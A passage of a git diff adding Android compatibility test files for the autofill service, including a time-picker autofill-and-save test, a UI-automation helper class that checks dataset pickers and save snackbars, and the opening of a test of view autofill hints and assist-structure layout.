+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+
+public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
+
+    @Rule
+    public final ActivityTestRule<TimePickerSpinnerActivity> mActivityRule =
+        new ActivityTestRule<TimePickerSpinnerActivity>(TimePickerSpinnerActivity.class);
+
+    @Override
+    protected TimePickerSpinnerActivity getTimePickerActivity() {
+        return mActivityRule.getActivity();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
new file mode 100644
index 0000000..b96e5e3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertTimeValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractTimePickerActivity} tests.
+ */
+abstract class TimePickerTestCase<T extends AbstractTimePickerActivity>
+        extends AutoFillServiceTestCase {
+
+    protected abstract T getTimePickerActivity();
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        final T activity = getTimePickerActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.HOUR_OF_DAY, 4);
+        cal.set(Calendar.MINUTE, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("Adventure Time"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_TIME_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_TIME_PICKER)
+                .build());
+
+        activity.expectAutoFill("4:20", 4, 20);
+
+        // Trigger auto-fill.
+        activity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of TimePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_TIME_PICKER);
+        assertNumberOfChildren(fillRequest.structure, ID_TIME_PICKER, 0);
+        // Auto-fill it.
+        sUiBot.selectDataset("Adventure Time");
+
+        // Check the results.
+        activity.assertAutoFilled();
+
+        // Trigger save.
+        activity.setTime(10, 40);
+        activity.tapOk();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertTimeValue(findNodeByResourceId(saveRequest.structure, ID_TIME_PICKER), 10, 40);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "10:40");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
new file mode 100644
index 0000000..281071e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -0,0 +1,536 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.res.Resources;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.text.Html;
+import android.util.Log;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Helper for UI-related needs.
+ */
+final class UiBot {
+
+    private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
+    private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+    private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+
+    private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
+            "autofill_save_title_with_type";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PASSWORD = "autofill_save_type_password";
+    private static final String RESOURCE_STRING_SAVE_TYPE_ADDRESS = "autofill_save_type_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD =
+            "autofill_save_type_credit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
+    private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
+            "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_AUTOFILL = "autofill";
+    private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
+            "autofill_picker_accessibility_title";
+    private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
+            "autofill_save_accessibility_title";
+
+    private static final String TAG = "AutoFillCtsUiBot";
+
+    private final UiDevice mDevice;
+    private final String mPackageName;
+    private final UiAutomation mAutoman;
+
+    UiBot(Instrumentation instrumentation) throws Exception {
+        mDevice = UiDevice.getInstance(instrumentation);
+        mPackageName = instrumentation.getContext().getPackageName();
+        mAutoman = instrumentation.getUiAutomation();
+    }
+
+    /**
+     * Asserts the dataset chooser is not shown.
+     */
+    void assertNoDatasets() {
+        final UiObject2 picker;
+        try {
+            picker = findDatasetPicker(NOT_SHOWING_TIMEOUT_MS);
+        } catch (Throwable t) {
+            // Use a more elegant check than catching the expection because it's not showing...
+            return;
+        }
+        throw new RetryableException(
+                "Should not be showing datasets, but got " + getChildrenAsText(picker));
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets.
+     *
+     * @return the dataset picker object.
+     */
+    UiObject2 assertDatasets(String...names) {
+        final UiObject2 picker = findDatasetPicker();
+        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(Arrays.asList(names));
+        return picker;
+    }
+
+    /**
+     * Gets the text of this object children.
+     */
+    List<String> getChildrenAsText(UiObject2 object) {
+        final List<String> list = new ArrayList<>();
+        getChildrenAsText(object, list);
+        return list;
+    }
+
+    private static void getChildrenAsText(UiObject2 object, List<String> children) {
+        final String text = object.getText();
+        if (text != null) {
+            children.add(text);
+        }
+        for (UiObject2 child : object.getChildren()) {
+            getChildrenAsText(child, children);
+        }
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI.
+     */
+    void selectDataset(String name) {
+        final UiObject2 picker = findDatasetPicker();
+        selectDataset(picker, name);
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI.
+     */
+    void selectDataset(UiObject2 picker, String name) {
+        final UiObject2 dataset = picker.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(picker));
+        }
+        dataset.click();
+    }
+
+    /**
+     * Selects a view by text.
+     *
+     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
+     * {@link #selectDataset(String)}.
+     */
+    void selectByText(String name) {
+        Log.v(TAG, "selectByText(): " + name);
+
+        final UiObject2 object = waitForObject(By.text(name));
+        object.click();
+    }
+
+    /**
+     * Asserts a text is shown.
+     *
+     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
+     * {@link #assertDatasets(String...)}.
+     */
+    public UiObject2 assertShownByText(String text) {
+        final UiObject2 object = waitForObject(By.text(text));
+        assertWithMessage(text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Checks if a View with a certain text exists.
+     */
+    boolean hasViewWithText(String name) {
+        Log.v(TAG, "hasViewWithText(): " + name);
+
+        return mDevice.findObject(By.text(name)) != null;
+    }
+
+    /**
+     * Selects a view by id.
+     */
+    void selectById(String id) {
+        Log.v(TAG, "selectById(): " + id);
+
+        final UiObject2 view = waitForObject(By.res(id));
+        view.click();
+    }
+
+    /**
+     * Asserts the id is shown on the screen.
+     */
+    void assertShownById(String id) {
+        assertThat(waitForObject(By.res(id))).isNotNull();
+    }
+
+    /**
+     * Gets the text set on a view.
+     */
+    String getTextById(String id) {
+        final UiObject2 obj = waitForObject(By.res(id));
+        return obj.getText();
+    }
+
+    /**
+     * Focus in the view with the given resource id.
+     */
+    void focusByRelativeId(String id) {
+        waitForObject(By.res(mPackageName, id)).click();
+    }
+
+    /**
+     * Sets a new text on a view.
+     */
+    void setTextById(String id, String newText) {
+        UiObject2 view = waitForObject(By.res(id));
+        view.setText(newText);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    UiObject2 assertSaveShowing(int type) {
+        return assertSaveShowing(SAVE_TIMEOUT_MS, type);
+    }
+
+    /**
+     * Asserts the save snackbar is showing and returns it.
+     */
+    UiObject2 assertSaveShowing(long timeout, int type) {
+        return assertSaveShowing(null, timeout, type);
+    }
+
+    /**
+     * Presses the back button.
+     */
+    void pressBack() {
+        Log.d(TAG, "pressBack()");
+        mDevice.pressBack();
+    }
+
+    /**
+     * Presses the home button.
+     */
+    void pressHome() {
+        Log.d(TAG, "pressHome()");
+        mDevice.pressHome();
+    }
+    /**
+     * Asserts the save snackbar is not showing and returns it.
+     */
+    void assertSaveNotShowing(int type) {
+        try {
+            assertSaveShowing(NOT_SHOWING_TIMEOUT_MS, type);
+        } catch (Throwable t) {
+            // TODO: use a more elegant check than catching the expection because it's not showing
+            // (in which case it wouldn't need a type as parameter).
+            return;
+        }
+        throw new RetryableException("snack bar is showing");
+    }
+
+    private String getSaveTypeString(int type) {
+        final String typeResourceName;
+        switch (type) {
+            case SAVE_DATA_TYPE_PASSWORD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PASSWORD;
+                break;
+            case SAVE_DATA_TYPE_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_ADDRESS;
+                break;
+            case SAVE_DATA_TYPE_CREDIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_USERNAME:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_USERNAME;
+                break;
+            case SAVE_DATA_TYPE_EMAIL_ADDRESS:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported type: " + type);
+        }
+        return getString(typeResourceName);
+    }
+
+    UiObject2 assertSaveShowing(String description, int... types) {
+        return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description,
+                SAVE_TIMEOUT_MS, types);
+    }
+
+    UiObject2 assertSaveShowing(String description, long timeout, int... types) {
+        return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description, timeout,
+                types);
+    }
+
+    UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
+            int... types) {
+        return assertSaveShowing(negativeButtonStyle, description, SAVE_TIMEOUT_MS, types);
+    }
+
+    UiObject2 assertSaveShowing(int negativeButtonStyle, String description, long timeout,
+            int... types) {
+        final UiObject2 snackbar = waitForObject(By.res("android", RESOURCE_ID_SAVE_SNACKBAR),
+                timeout);
+
+        final UiObject2 titleView = snackbar.findObject(By.res("android", RESOURCE_ID_SAVE_TITLE));
+        assertWithMessage("save title (%s)", RESOURCE_ID_SAVE_TITLE).that(titleView).isNotNull();
+
+        final String actualTitle = titleView.getText();
+        Log.d(TAG, "save title: " + actualTitle);
+
+        final String serviceLabel = InstrumentedAutoFillService.class.getSimpleName();
+        switch (types.length) {
+            case 1:
+                final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
+                        ? Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE,
+                                serviceLabel), 0).toString()
+                        : Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE_WITH_TYPE,
+                                getSaveTypeString(types[0]), serviceLabel), 0).toString();
+                assertThat(actualTitle).isEqualTo(expectedTitle);
+                break;
+            case 2:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                break;
+            case 3:
+                // We cannot predict the order...
+                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
+                assertThat(actualTitle).contains(getSaveTypeString(types[2]));
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid types: " + Arrays.toString(types));
+        }
+
+        if (description != null) {
+            final UiObject2 saveSubTitle = snackbar.findObject(By.text(description));
+            assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
+        }
+
+        final String negativeButtonText = (negativeButtonStyle
+                == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
+        UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
+        assertWithMessage("negative button (%s)", negativeButtonText)
+                .that(negativeButton).isNotNull();
+
+        final String expectedAccessibilityTitle =
+                getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
+        assertAccessibilityTitle(snackbar, expectedAccessibilityTitle);
+
+        return snackbar;
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    void saveForAutofill(boolean yesDoIt, int... types) {
+        final UiObject2 saveSnackBar = assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     * @param types expected types of save info.
+     */
+    void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types) {
+        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle,null, types);
+        saveForAutofill(saveSnackBar, yesDoIt);
+    }
+
+    /**
+     * Taps an option in the save snackbar.
+     *
+     * @param saveSnackBar Save snackbar, typically obtained through
+     *            {@link #assertSaveShowing(int)}.
+     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
+     */
+    void saveForAutofill(UiObject2 saveSnackBar, boolean yesDoIt) {
+        final String id = yesDoIt ? "autofill_save_yes" : "autofill_save_no";
+
+        final UiObject2 button = saveSnackBar.findObject(By.res("android", id));
+        assertWithMessage("save button (%s)", id).that(button).isNotNull();
+        button.click();
+    }
+
+    /**
+     * Gets the AUTOFILL contextual menu by long pressing a text field.
+     *
+     * <p><b>NOTE:</b> this method should only be called in scenarios where we explicitly want to
+     * test the overflow menu. For all other scenarios where we want to test manual autofill, it's
+     * better to call {@code AFM.requestAutofill()} directly, because it's less error-prone and
+     * faster.
+     *
+     * @param id resource id of the field.
+     */
+    UiObject2 getAutofillMenuOption(String id) {
+        final UiObject2 field = waitForObject(By.res(mPackageName, id));
+        // TODO: figure out why obj.longClick() doesn't always work
+        field.click(3000);
+
+        final List<UiObject2> menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM));
+        final String expectedText = getString(RESOURCE_STRING_AUTOFILL);
+        final StringBuffer menuNames = new StringBuffer();
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+        throw new RetryableException("no '%s' on '%s'", expectedText, menuNames);
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id) {
+        final Resources resources = InstrumentationRegistry.getContext().getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        return resources.getString(stringId);
+    }
+
+    /**
+     * Gets a string from the Android resources.
+     */
+    private String getString(String id, Object... formatArgs) {
+        final Resources resources = InstrumentationRegistry.getContext().getResources();
+        final int stringId = resources.getIdentifier(id, "string", "android");
+        return resources.getString(stringId, formatArgs);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     */
+    private UiObject2 waitForObject(BySelector selector) {
+        return waitForObject(selector, UI_TIMEOUT_MS);
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    private UiObject2 waitForObject(BySelector selector, long timeout) {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        final int maxTries = 5;
+        final long napTime = timeout / maxTries;
+        for (int i = 1; i <= maxTries; i++) {
+            final UiObject2 uiObject = mDevice.findObject(selector);
+            if (uiObject != null) {
+                return uiObject;
+            }
+            SystemClock.sleep(napTime);
+        }
+        throw new RetryableException("Object with selector '%s' not found in %d ms",
+                selector, UI_TIMEOUT_MS);
+    }
+
+    /**
+     * Waits for and returns a list of objects.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     */
+    private List<UiObject2> waitForObjects(BySelector selector) {
+        return waitForObjects(selector, UI_TIMEOUT_MS);
+    }
+
+    /**
+     * Waits for and returns a list of objects.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    private List<UiObject2> waitForObjects(BySelector selector, long timeout) {
+        // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
+        final int maxTries = 5;
+        final long napTime = timeout / maxTries;
+        for (int i = 1; i <= maxTries; i++) {
+            final List<UiObject2> uiObjects = mDevice.findObjects(selector);
+            if (uiObjects != null && !uiObjects.isEmpty()) {
+                return uiObjects;
+            }
+            SystemClock.sleep(napTime);
+        }
+        throw new RetryableException("Objects with selector '%s' not found in %d ms",
+                selector, UI_TIMEOUT_MS);
+    }
+
+    private UiObject2 findDatasetPicker() {
+        return findDatasetPicker(UI_TIMEOUT_MS);
+    }
+
+    private UiObject2 findDatasetPicker(long timeout) {
+        final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
+                timeout);
+
+        final String expectedTitle = getString(RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE);
+        assertAccessibilityTitle(picker, expectedTitle);
+
+        return picker;
+    }
+
+    /**
+     * Asserts a given object has the expected accessibility title.
+     */
+    private void assertAccessibilityTitle(UiObject2 object, String expectedTitle) {
+        // TODO: ideally it should get the AccessibilityWindowInfo from the object, but UiAutomator
+        // does not expose that.
+        for (AccessibilityWindowInfo window : mAutoman.getWindows()) {
+            final CharSequence title = window.getTitle();
+            if (title != null && title.toString().equals(expectedTitle)) {
+                return;
+            }
+        }
+        throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
new file mode 100644
index 0000000..f33d6fe
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -0,0 +1,282 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.support.annotation.IdRes;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Consumer;
+
+@RunWith(AndroidJUnit4.class)
+public class ViewAttributesTest extends AutoFillServiceTestCase {
+    @Rule
+    public final ActivityTestRule<ViewAttributesTestActivity> mActivityRule =
+            new ActivityTestRule<>(ViewAttributesTestActivity.class);
+
+    private ViewAttributesTestActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Nullable private String[] getHintsFromView(@IdRes int resId) {
+        return mActivity.findViewById(resId).getAutofillHints();
+    }
+
+    private void checkEditTextNoHint(@Nullable String[] hints) {
+        assertThat(hints).isNull();
+    }
+
+    private void checkEditTextHintCustom(@Nullable String[] hints) {
+        assertThat(hints).isEqualTo(
+                new String[] {mActivity.getString(R.string.new_password_label)});
+    }
+
+    private void checkEditTextPassword(@Nullable String[] hints) {
+        assertThat(hints).isEqualTo(new String[] {View.AUTOFILL_HINT_PASSWORD});
+    }
+
+    private void checkEditTextPhoneName(@Nullable String[] hints) {
+        assertThat(hints).isEqualTo(
+                new String[] {View.AUTOFILL_HINT_PHONE, View.AUTOFILL_HINT_USERNAME});
+    }
+
+    private void checkEditTextHintsFromArray(@Nullable String[] hints) {
+        assertThat(hints).isEqualTo(new String[] {"yesterday", "today", "tomorrow", "never"});
+    }
+
+    @Test
+    public void checkViewHints() {
+        checkEditTextNoHint(getHintsFromView(R.id.editTextNoHint));
+        checkEditTextHintCustom(getHintsFromView(R.id.editTextHintCustom));
+        checkEditTextPassword(getHintsFromView(R.id.editTextPassword));
+        checkEditTextPhoneName(getHintsFromView(R.id.editTextPhoneName));
+        checkEditTextHintsFromArray(getHintsFromView(R.id.editTextHintsFromArray));
+    }
+
+    @Test
+    public void checkSetAutoFill() {
+        View v = mActivity.findViewById(R.id.editTextNoHint);
+
+        v.setAutofillHints((String[]) null);
+        assertThat(v.getAutofillHints()).isNull();
+
+        v.setAutofillHints(new String[0]);
+        assertThat(v.getAutofillHints()).isNull();
+
+        v.setAutofillHints(new String[]{View.AUTOFILL_HINT_PASSWORD});
+        assertThat(v.getAutofillHints()).isEqualTo(new String[]{View.AUTOFILL_HINT_PASSWORD});
+
+        v.setAutofillHints(new String[]{"custom", "value"});
+        assertThat(v.getAutofillHints()).isEqualTo(new String[]{"custom", "value"});
+
+        v.setAutofillHints("more", "values");
+        assertThat(v.getAutofillHints()).isEqualTo(new String[]{"more", "values"});
+
+        v.setAutofillHints(
+                new String[]{View.AUTOFILL_HINT_PASSWORD, View.AUTOFILL_HINT_EMAIL_ADDRESS});
+        assertThat(v.getAutofillHints()).isEqualTo(new String[]{View.AUTOFILL_HINT_PASSWORD,
+                View.AUTOFILL_HINT_EMAIL_ADDRESS});
+    }
+
+    /**
+     * Wait for autofill to be initialized and trigger autofill on a view.
+     *
+     * @param view The view to trigger the autofill on
+     *
+     * @return The {@link InstrumentedAutoFillService.FillRequest triggered}
+     */
+    private InstrumentedAutoFillService.FillRequest startAutoFill(boolean forceAutofill,
+            @NonNull View view) throws Exception {
+        if (forceAutofill) {
+            mActivity.getAutofillManager().requestAutofill(view);
+        } else {
+            mActivity.syncRunOnUiThread(() -> {
+                view.clearFocus();
+                view.requestFocus();
+            });
+        }
+
+        InstrumentedAutoFillService.waitUntilConnected();
+
+        return sReplier.getNextFillRequest();
+    }
+
+    @Nullable private String[] getHintsFromStructure(@NonNull AssistStructure structure,
+            @NonNull String resName) {
+        return findNodeByResourceId(structure, resName).getAutofillHints();
+    }
+
+    private void onAssistStructure(boolean forceAutofill, @NonNull Consumer<AssistStructure> test)
+            throws Exception {
+        EditText editTextNoHint = mActivity.findViewById(R.id.editTextNoHint);
+        mActivity.syncRunOnUiThread(() -> editTextNoHint.setVisibility(View.VISIBLE));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("editTextNoHint", AutofillValue.forText("filled"))
+                .setPresentation(createPresentation("dataset"))
+                .build());
+
+        // Trigger autofill.
+        InstrumentedAutoFillService.FillRequest request = startAutoFill(forceAutofill,
+                editTextNoHint);
+
+        assertThat(request.contexts.size()).isEqualTo(1);
+        test.accept(request.contexts.get(0).getStructure());
+    }
+
+    @Test
+    public void checkAssistStructureHints() throws Exception {
+        onAssistStructure(false, (structure) -> {
+                    // Check autofill hints analogue to #checkViewHints
+                    checkEditTextNoHint(getHintsFromStructure(structure, "editTextNoHint"));
+                    checkEditTextHintCustom(getHintsFromStructure(structure, "editTextHintCustom"));
+                    checkEditTextPassword(getHintsFromStructure(structure, "editTextPassword"));
+                    checkEditTextPhoneName(getHintsFromStructure(structure, "editTextPhoneName"));
+                    checkEditTextHintsFromArray(getHintsFromStructure(structure,
+                            "editTextHintsFromArray"));
+                }
+        );
+    }
+
+    @Test
+    public void checkViewLocationInAssistStructure() throws Exception {
+        onAssistStructure(false, (structure) -> {
+                    // check size of outerView
+                    AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
+                            "outerView");
+
+                    // The size of the view should include all paddings and size of all children
+                    assertThat(outerView.getHeight()).isEqualTo(
+                            2             // outerView.top
+                                    + 11  // nestedView.top
+                                    + 23  // doubleNestedView.top
+                                    + 41  // tripleNestedView.height
+                                    + 47  // secondDoubleNestedView.height
+                                    + 31  // doubleNestedView.bottom
+                                    + 17  // nestedView.bottom
+                                    + 5); // outerView.bottom
+                    assertThat(outerView.getWidth()).isEqualTo(
+                            7                     // outerView.left
+                                    + 19          // nestedView.left
+                                    + Math.max(37 // doubleNestedView.left
+                                            + 43  // tripleNestedView.width
+                                            + 29, // doubleNestedView.right
+                                    53)           // secondDoubleNestedView.width
+                                    + 13          // nestedView.right
+                                    + 3);         // outerView.right
+
+
+                    // The nestedView is suppressed, hence the structure should be
+                    //
+                    // outerView
+                    //  doubleNestedView left=26 top=13
+                    //   tripleNestedView left=37 top=23
+                    //  secondDoubleNestedView left=26 top=108
+
+                    assertThat(outerView.getChildCount()).isEqualTo(2);
+                    AssistStructure.ViewNode doubleNestedView;
+                    AssistStructure.ViewNode secondDoubleNestedView;
+                    if (outerView.getChildAt(0).getIdEntry().equals("doubleNestedView")) {
+                        doubleNestedView = outerView.getChildAt(0);
